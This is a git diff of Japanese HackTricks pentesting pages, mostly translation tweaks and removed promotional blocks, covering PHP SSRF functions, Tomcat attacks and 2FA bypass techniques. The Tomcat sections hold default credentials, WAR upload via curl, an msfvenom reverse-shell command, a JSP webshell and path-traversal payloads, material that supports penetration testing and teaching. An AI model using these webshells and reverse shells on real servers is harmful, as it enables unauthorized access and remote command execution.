* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP関数
|
||||
|
||||
**file\_get\_contents()、fopen()、file()、md5\_file()**などのいくつかの関数は、入力としてURLを受け入れ、それに従うため、ユーザーがデータを制御できる場合に**SSRF脆弱性が発生する可能性**があります:
|
||||
**file\_get\_contents()、fopen()、file()、md5\_file()** のような関数は、入力としてURLを受け入れ、それに従うため、ユーザーがデータを制御できる場合に**SSRF脆弱性**が発生する可能性があります。
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -83,12 +75,6 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -98,8 +84,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* 通常、**ポート8080**で実行されます
|
||||
* **一般的なTomcatエラー:**
|
||||
* **一般的なTomcatエラー:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -34,7 +26,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### **Version Identification**
|
||||
|
||||
Apache Tomcatのバージョンを見つけるには、簡単なコマンドを実行できます:
|
||||
Apache Tomcatのバージョンを見つけるには、簡単なコマンドを実行できます:
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
|
@ -46,7 +38,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|||
|
||||
### **ユーザー名の列挙**
|
||||
|
||||
Tomcat 6より古いバージョンでは、次の方法でユーザー名を列挙することが可能です:
|
||||
Tomcatのバージョン6より古い場合、次の方法でユーザー名を列挙することが可能です:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
@ -83,13 +75,13 @@ Along with setting various parameters in Metasploit to target a specific host.
|
|||
|
||||
### **Double URL Encoding**
|
||||
|
||||
`mod_jk`のCVE-2007-1860脆弱性により、二重URLエンコーディングによるパス・トラバーサルが可能になり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能になります。
|
||||
`mod_jk`のCVE-2007-1860脆弱性により、二重URLエンコーディングのパストラバーサルが可能になり、特別に作成されたURLを介して管理インターフェースへの不正アクセスが可能になります。
|
||||
|
||||
Tomcatの管理ウェブにアクセスするには、次のパスに移動します: `pathTomcat/%252E%252E/manager/html`
|
||||
Tomcatの管理ウェブにアクセスするには、次のようにします: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティング(XSS)攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用について確認する必要があります。 [こちらで詳細を確認してください](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティング(XSS)攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用のチェックが必要です。 [こちらで詳細を確認してください](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -128,7 +120,7 @@ Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサ
|
|||
|
||||
### Limitations
|
||||
|
||||
**十分な権限**(役割: **admin**, **manager**, **manager-script**)がある場合にのみWARをデプロイできます。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)([POST ](tomcat.md#post)セクションを参照)。
|
||||
**十分な権限**(役割: **admin**, **manager**, **manager-script**)がある場合にのみWARをデプロイできます。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)([POST](tomcat.md#post)セクションを参照)。
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -153,7 +145,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
2. `revshell.war`ファイルをアップロードし、それにアクセスします(`/revshell/`):
|
||||
2. `revshell.war`ファイルをアップロードし、それにアクセスします(`/revshell/`):
|
||||
|
||||
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
|
||||
|
||||
|
@ -177,7 +169,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d
|
|||
```
|
||||
### 手動方法 - Webシェル
|
||||
|
||||
**index.jsp**をこの[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)で作成します:
|
||||
**index.jsp**をこの[コンテンツ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)で作成します:
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
|
@ -208,11 +200,11 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
あなたはこれをインストールすることもできます(アップロード、ダウンロード、コマンド実行を許可します): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
この(アップロード、ダウンロード、コマンド実行を許可します)をインストールすることもできます: [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### 手動方法 2
|
||||
|
||||
[JSPウェブシェル](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなものを取得し、WARファイルを作成します:
|
||||
[JSPウェブシェル](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなものを取得し、WARファイルを作成します:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -255,7 +241,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Discovery
|
||||
|
||||
* 通常、**ポート8080**で実行されます
|
||||
|
@ -44,7 +36,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|||
|
||||
**`/manager`** および **`/host-manager`** ディレクトリの正確な場所を特定することは重要です。名前が変更される可能性があるため、これらのページを見つけるためにブルートフォース検索を推奨します。
|
||||
|
||||
### **ユーザー名の列挙**
|
||||
### **ユーザー名列挙**
|
||||
|
||||
Tomcatのバージョン6より古い場合、次の方法でユーザー名を列挙することが可能です:
|
||||
```bash
|
||||
|
@ -52,7 +44,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
|||
```
|
||||
### **デフォルトの資格情報**
|
||||
|
||||
**`/manager/html`** ディレクトリは特に敏感で、WARファイルのアップロードとデプロイを許可するため、コード実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです:
|
||||
**`/manager/html`** ディレクトリは特に敏感であり、WARファイルのアップロードとデプロイを許可するため、コード実行につながる可能性があります。このディレクトリは基本的なHTTP認証によって保護されており、一般的な資格情報は次のとおりです:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -89,7 +81,7 @@ Tomcatの管理ウェブにアクセスするには、次のようにします:
|
|||
|
||||
### /examples
|
||||
|
||||
Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティング(XSS)攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用について確認する必要があります。 [こちらで詳細を確認してください](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサイトスクリプティング(XSS)攻撃に脆弱なサンプルスクリプトが含まれています。これらのスクリプトは包括的にリストされており、不正アクセスや潜在的な悪用のチェックが必要です。 [こちらで詳細を確認してください](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -118,7 +110,7 @@ Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサ
|
|||
|
||||
一部の[**脆弱なTomcatの構成**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、次のパスを使用してTomcatの保護されたディレクトリにアクセスできます: `/..;/`
|
||||
|
||||
したがって、たとえば、次のようにして**Tomcatマネージャー**ページにアクセスできるかもしれません: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
したがって、例えば、次のようにして**Tomcatマネージャー**ページにアクセスできるかもしれません: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**別の方法**として、このトリックを使用して保護されたパスをバイパスするには、`http://www.vulnerable.com/;param=value/manager/html`にアクセスします。
|
||||
|
||||
|
@ -128,7 +120,7 @@ Apache Tomcatのバージョン4.xから7.xには、情報漏洩やクロスサ
|
|||
|
||||
### Limitations
|
||||
|
||||
**十分な権限**(役割: **admin**, **manager**, **manager-script**)がある場合にのみWARをデプロイできます。これらの詳細は、通常`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)([POST](./#post)セクションを参照)。
|
||||
**十分な権限**(役割: **admin**, **manager**および**manager-script**)がある場合にのみWARをデプロイできます。これらの詳細は、通常`/usr/share/tomcat9/etc/tomcat-users.xml`に定義されている_tomcat-users.xml_の下にあります(バージョンによって異なります)([POST](./#post)セクションを参照)。
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -138,7 +130,7 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
# undeploy
|
||||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
### メタスプロイト
|
||||
### Metasploit
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -153,11 +145,11 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
2. `revshell.war`ファイルをアップロードし、それにアクセスします(`/revshell/`):
|
||||
2. `revshell.war`ファイルをアップロードし、それにアクセスします(`/revshell/`):
|
||||
|
||||
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
|
||||
|
||||
いくつかのシナリオでは、これが機能しない場合があります(例えば、古いバージョンのsun)
|
||||
いくつかのシナリオでは、これが機能しないことがあります(例えば、古いバージョンのsun)
|
||||
|
||||
#### ダウンロード
|
||||
```bash
|
||||
|
@ -208,11 +200,11 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
あなたはこれをインストールすることもできます(アップロード、ダウンロード、コマンド実行を許可します): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
この(アップロード、ダウンロード、コマンド実行を許可する)をインストールすることもできます: [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### 手動方法 2
|
||||
|
||||
[JSPウェブシェル](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなものを取得し、WARファイルを作成します:
|
||||
[JSPウェブシェル](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなものを取得し、WARファイルを作成します:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -230,7 +222,7 @@ Tomcatの資格情報を収集する他の方法:
|
|||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## 他のTomcatスキャンツール
|
||||
## 他のトムキャットスキャンツール
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
|
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -254,8 +241,8 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### rootで実行しないようにする
|
||||
|
||||
Tomcatをrootで実行しないための一般的な構成は、ポート80/443にApacheサーバーを設定し、要求されたパスが正規表現に一致する場合、リクエストを異なるポートで実行されているTomcatに送信することです。
|
||||
Tomcatをrootで実行しないための一般的な設定は、ポート80/443にApacheサーバーを設定し、リクエストされたパスが正規表現に一致する場合、リクエストを異なるポートで実行されているTomcatに送信することです。
|
||||
|
||||
### デフォルト構造
|
||||
```
|
||||
|
@ -59,7 +51,7 @@ Tomcatをrootで実行しないための一般的な構成は、ポート80/443
|
|||
* `logs`および`temp`フォルダーには、一時的なログファイルが格納されています。
|
||||
* `webapps`フォルダーはTomcatのデフォルトのウェブルートであり、すべてのアプリケーションをホストします。`work`フォルダーはキャッシュとして機能し、実行時にデータを格納するために使用されます。
|
||||
|
||||
`webapps`内の各フォルダーは、次の構造を持つことが期待されます。
|
||||
`webapps`内の各フォルダーは、以下の構造を持つことが期待されます。
|
||||
```
|
||||
webapps/customapp
|
||||
├── images
|
||||
|
@ -76,10 +68,10 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
最も重要なファイルは `WEB-INF/web.xml` で、これはデプロイメント記述子として知られています。このファイルは、アプリケーションで使用される**ルートに関する情報**と、これらのルートを処理するクラスを保存します。\
|
||||
アプリケーションで使用されるすべてのコンパイル済みクラスは `WEB-INF/classes` フォルダーに保存されるべきです。これらのクラスには重要なビジネスロジックや機密情報が含まれている可能性があります。これらのファイルに脆弱性があると、ウェブサイトの完全な侵害につながる可能性があります。`lib` フォルダーには、その特定のアプリケーションに必要なライブラリが保存されています。`jsp` フォルダーには、以前は `JavaServer Pages` として知られていた [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) が保存されており、Apacheサーバー上のPHPファイルに比較できます。
|
||||
最も重要なファイルは `WEB-INF/web.xml` で、これはデプロイメント記述子として知られています。このファイルは、アプリケーションで使用される **ルートに関する情報** と、これらのルートを処理するクラスを保存します。\
|
||||
アプリケーションで使用されるすべてのコンパイル済みクラスは `WEB-INF/classes` フォルダーに保存されるべきです。これらのクラスには重要なビジネスロジックや機密情報が含まれている可能性があります。これらのファイルに脆弱性があると、ウェブサイトの完全な侵害につながる可能性があります。 `lib` フォルダーには、その特定のアプリケーションに必要なライブラリが保存されています。 `jsp` フォルダーには、以前は `JavaServer Pages` として知られていた [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) が保存されており、Apacheサーバー上のPHPファイルに比較できます。
|
||||
|
||||
ここに例として**web.xml**ファイルがあります。
|
||||
以下は **web.xml** ファイルの例です。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
|
||||
|
@ -146,17 +138,12 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
ファイルは、`manager-gui`、`manager-script`、`manager-jmx`、および `manager-status` の各役割がどのようなアクセスを提供するかを示しています。この例では、ユーザー `tomcat` がパスワード `tomcat` で `manager-gui` 役割を持ち、ユーザーアカウント `admin` に対しては、2つ目の弱いパスワード `admin` が設定されていることがわかります。
|
||||
ファイルは、各役割 `manager-gui`、`manager-script`、`manager-jmx`、および `manager-status` が提供するアクセスを示しています。この例では、ユーザー `tomcat` がパスワード `tomcat` で `manager-gui` 役割を持ち、ユーザーアカウント `admin` に対しては、2つ目の弱いパスワード `admin` が設定されていることがわかります。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -9,31 +9,18 @@ GCPハッキングを学び、実践する:<img src="../.gitbook/assets/grte.p
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害されているか**を確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **強化された二要素認証バイパステクニック**
|
||||
|
||||
### **直接エンドポイントアクセス**
|
||||
|
||||
2FAをバイパスするには、次のエンドポイントに直接アクセスします。パスを知ることが重要です。失敗した場合は、**リファラーヘッダー**を変更して2FA確認ページからのナビゲーションを模倣します。
|
||||
2FAをバイパスするには、パスを知っていることが重要で、次のエンドポイントに直接アクセスします。失敗した場合は、**Referrerヘッダー**を変更して2FA検証ページからのナビゲーションを模倣します。
|
||||
|
||||
### **トークン再利用**
|
||||
|
||||
|
@ -47,21 +34,21 @@ WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
ウェブアプリケーションからの応答にトークンが開示されているかどうかを調査します。
|
||||
|
||||
### **確認リンクの悪用**
|
||||
### **検証リンクの悪用**
|
||||
|
||||
アカウント作成時に送信された**メール確認リンク**を使用することで、2FAなしでプロファイルにアクセスできる場合があります。詳細は[投稿](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)で強調されています。
|
||||
アカウント作成時に送信される**メール検証リンク**を使用すると、2FAなしでプロファイルにアクセスできる場合があります。詳細は[投稿](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)で強調されています。
|
||||
|
||||
### **セッション操作**
|
||||
|
||||
ユーザーと被害者のアカウントの両方のセッションを開始し、ユーザーのアカウントの2FAを完了せずに次のステップにアクセスしようとすることで、被害者のアカウントフローの次のステップにアクセスを試みます。バックエンドのセッション管理の制限を悪用します。
|
||||
ユーザーのアカウントと被害者のアカウントの両方のセッションを開始し、ユーザーのアカウントの2FAを完了せずに、被害者のアカウントフローの次のステップにアクセスを試みることで、バックエンドのセッション管理の制限を悪用します。
|
||||
|
||||
### **パスワードリセットメカニズム**
|
||||
|
||||
パスワードリセット機能を調査し、リセット後にユーザーをアプリケーションにログインさせる可能性があるかどうかを確認します。同じリンクを使用して複数回リセットできる可能性があります。新しくリセットされた資格情報でログインすることで2FAをバイパスできるかもしれません。
|
||||
パスワードリセット機能を調査し、同じリンクを使用して複数回リセットできる可能性があるかどうかを確認することが重要です。新しくリセットされた資格情報でログインすることで2FAをバイパスできるかもしれません。
|
||||
|
||||
### **OAuthプラットフォームの侵害**
|
||||
### **OAuthプラットフォームの妥協**
|
||||
|
||||
信頼された**OAuth**プラットフォーム(例:Google、Facebook)でユーザーのアカウントを侵害することで、2FAをバイパスするルートを提供できます。
|
||||
